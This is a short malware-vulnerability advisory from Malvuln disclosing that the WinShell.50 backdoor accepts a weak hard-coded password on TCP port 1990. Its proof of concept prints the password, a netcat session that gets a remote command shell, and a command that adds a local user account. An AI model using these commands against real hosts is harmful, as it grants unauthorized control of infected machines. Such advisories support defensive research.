Backdoor.Win32.WinShell.50 malware suffers from a hard-coded password vulnerability.
27ba31b3f2064428f9f6c10826117780Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8170928cd3e0f1a79b9d40ae19a4d217.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.WinShell.50
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 1990. Authentication is required for remote user access. However, the password "tdkhbhhesdth" is weak and hardcoded within the executable.
Type: PE32
MD5: 8170928cd3e0f1a79b9d40ae19a4d217
Vuln ID: MVID-2021-0416
Disclosure: 12/03/2021
Exploit/PoC:
nc64.exe x.x.x.x 1990
WeLCoMe to X-FileZzZ & The^GoBLiN PubStro plz press password :tdkhbhhesdth
WinShell v5.0 (C)2002 janker.org
? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\dump>whoami
whoami
desktop-2c3iqho\victim
C:\dump>net user MALVULN hell /add
net user MALVULN hell /add
The command completed successfully.
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